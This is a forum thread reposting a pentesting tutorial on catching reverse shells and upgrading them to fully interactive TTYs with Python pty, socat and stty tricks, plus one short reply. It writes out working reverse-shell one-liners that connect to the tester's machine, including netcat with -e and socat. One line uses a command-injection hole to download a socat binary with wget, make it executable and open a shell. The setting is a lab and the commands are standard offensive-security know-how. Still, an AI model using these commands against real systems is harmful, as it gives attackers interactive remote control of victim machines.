Upgrading simple shells to fully interactive TTYs

shell
#1

Every pentester knows that amazing feeling when they catch a reverse shell with netcat and see that oh-so-satisfying verbose netcat message followed by output from id.

And if other pentesters are like me, they also know that dreadful feeling when their shell is lost because they run a bad command that hangs and accidentally hit “Ctrl-C” thinking it will stop it but it instead kills the entire connection.

Besides not correctly handling SIGINT, these"dumb" shells have other shortcomings as well:

  • Some commands, like “su” and “ssh” require a proper terminal to run
  • STDERR usually isn’t displayed
  • Can’t properly use text editors like "vim"
  • No tab-complete
  • No up arrow history
  • No job control
  • Etc…

Long story short, while these shells are great to catch, I’d much rather operate in a fully interactive TTY.

I’ve come across some good resources that include very helpful tips and techniques for “upgrading” these shells, and wanted to compile and share in a post. Along with Pentest Monkey, I also learned the techniques from Phineas Fisher in his released videos and writeups of his illegal activities:

For reference, in all the screenshots and commands to follow, I am injecting commands in to a vulnerable web server (“VICTIM”) and catching shells from my Kali VM (“KALI”):

  • VICTIM IP : 10.0.3.7
  • KALI IP : 10.0.3.4

Generating reverse shell commands

Everyone is pretty familiar with the traditional way of using netcat to get a reverse shell:

nc -e /bin/sh 10.0.3.4 4444  

and catching it with:

nc -lvp 4444  

The problem is not every server has netcat installed, and not every version of netcat has the “-e” option.

Pentest Monkey has a great cheatsheet outlining a few different methods, but my favorite technique is to use Metasploit’s “msfvenom” to generate the one-liner commands for me.

Metasploit has several payloads under “cmd/unix” that can be used to generate one-liner bind or reverse shells:

Any of these payloads can be used with “msfvenom” to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here’s a netcat command not requiring the “-e” flag:

And here’s a Perl one-liner in case “netcat” isn’t installed:

These can all be caught by using netcat and listening on the port specified (4444).

Method 1: Python pty module

One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let’s you spawn a psuedo-terminal that can fool commands like “su” into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command:

python -c 'import pty; pty.spawn("/bin/bash")'  

This will let you run “su” for example (in addition to giving you a nicer prompt)

Python PTY

Unfortunately, this doesn’t get around some of the other issues outlined above. SIGINT (Ctrl-C) will still close Netcat, and there’s no tab-completion or history. But it’s a quick and dirty workaround that has helped me numerous times.

Method 2: Using socat

socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY’s over TCP connections.

If “socat” is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with “socat” as well to get the full functions.

The following commands will yield a fully interactive TTY reverse shell:

On Kali (listen) :

socat file:'tty',raw,echo=0 tcp-listen:4444  

On Victim (launch) :

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

If socat isn’t installed, you’re not out of luck. There are standalone binaries that can be downloaded from this awesome Github repo:

With a command injection vuln, it’s possible to download the correct architecture “socat” binary to a writable directoy, chmod it, then execute a reverse shell in one line:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

On Kali, you’ll catch a fully interactive TTY session. It supports tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It’s a full terminal. Pretty sweet.

Method 3: Upgrading from netcat with magic

I watched Phineas Fisher use this technique in his hacking video, and it feels like magic. Basically it is possible to use a dumb netcat shell to upgrade to a full TTY by setting some “stty” options within your Kali terminal.

First, follow the same technique as in Method 1 and use Python to spawn a PTY. Once bash is running in the PTY, background the shell with "Ctrl-Z"

Background shell

While the shell is in the background, now examine the current terminal and STTY info so we can force the connected shell to match it:

The information needed is the TERM type ( “xterm-256color” ) and the size of the current TTY ( “rows 38; columns 116” )

With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command:

stty raw -echo  

With a raw stty, input/output will look weird and you won’t see the next commands, but as you type they are being processed.

Next foreground the shell with “fg” . It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with “reset”.

Note: I did not type the “nc” command again (as it might look above). I actually entered “fg” , but it was not echoed. The “nc” command is the job that is now in the foreground. The “reset” command was then entered into the netcat shell

After the “reset” the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)

$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

The end result is a fully interactive TTY with all the features we’d expect (tab-complete, history, job control, etc) all over a netcat connection:

Netcat full TTY

The possibilities are endless now. Tmux over a netcat shell?? Why not? :smiley:

tl;dr cheatsheet

Cheatsheet commands:

Using Python for a psuedo terminal

python -c 'import pty; pty.spawn("/bin/bash")'  

Using socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

Using stty options

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
TERM environment variable not set.
$ export TERM=xterm
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

Any other cool techniques? Let me know in the comments or hit me up on twitter.

Enjoy!

#2

Amazing,I really want to learn this technology, I am a little envious.

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